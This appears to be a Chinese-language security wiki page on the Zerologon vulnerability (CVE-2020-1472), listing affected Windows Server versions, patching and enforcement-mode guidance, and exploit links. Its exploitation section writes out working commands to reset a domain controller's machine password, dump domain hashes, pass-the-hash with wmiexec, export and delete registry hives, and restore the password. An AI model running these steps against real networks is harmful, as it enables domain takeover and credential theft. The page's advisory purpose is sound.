跳转至

Netlogon 特权提升漏洞(CVE-2020-1472)

背景

NetLogon特权提升漏洞(CVE-2020-1472)的详细信息与验证脚本,导致漏洞风险骤然提升。未经身份验证的攻击者通过NetLogon远程协议(MS-NRPC)建立与域控制器连接的 安全通道时,可利用此漏洞获取域管理员访问权限。此漏洞为微软8月补丁更新时披露,CVSS评分为10,影响广泛,请相关用户尽快采取措施进行防护。

受影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)

漏洞检测

poc 链接:https://pan.baidu.com/s/1_RpVEA4W_Lo_ildh-FdqKQ 提取码:tilx 受影响版本主机,检测验证结果如下:

漏洞利用

1.重置密码,获取域内所有的用户hash,利用exp:`https://github.com/dirkjanm/CVE-2020-1472` py -3 cve-2020-1472-exploit.py dc-01 192.169.1.2532.Dump域控制上的hashpy -3 secretsdump.py xxxxx/dc-01\$@192.168.1.253 -no-pass3.利用获取到的管理员hash远程连接导出sam数据库中原来的计算机hash``` py -3 wmiexec.py -hashes [hash] xxxx/administrator@192.168.1.253 reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg saveHKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save exit

py -3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 从而获取到MACHINE.ACC:xxxxxxxxxxxxxxxxxxx 4.恢复ntds.dit中的计算机hash并验证:`https://github.com/risksense/zerologon` 需要注意的是最后的hash使用的是上图获取到的MACHINE.ACC”:”后面的部分。 py -3 reinstall_original_pw.py dc-01 192.168.253.163 [上一步获取到的hash] 5.最后验证密码是否已经改回去,注意结尾是$。 py -3 secretsdump xxxx/administrator:admin123#@!..@192.168.1.253 -just-dc-user dc-01$

#### 漏洞防护

1)官方升级 目前微软官方已针对受支持的产品版本发布了修复此漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接: `https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472` 2)其他防护措施 在安装更新补丁后,还可通过部署域控制器 (DC) 强制模式以免受到该漏洞影响: 请参考官方文档进行配置《如何管理与 CVE-2020-1472 相关的 Netlogon 安全通道连接的更改》: `https://support.microsoft.com/zh-cn/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc`

#### 注意事项

由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。 补丁更新确认: 右键点击Windows图标,选择“设置(N)”,选择“更新和安全”-“Windows更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。 针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft更新目录”网站下载独立程序包并安装。

演示截图

img

exp

exp目前已经公布,地址为 https://github.com/blackarrowsec/redteam-research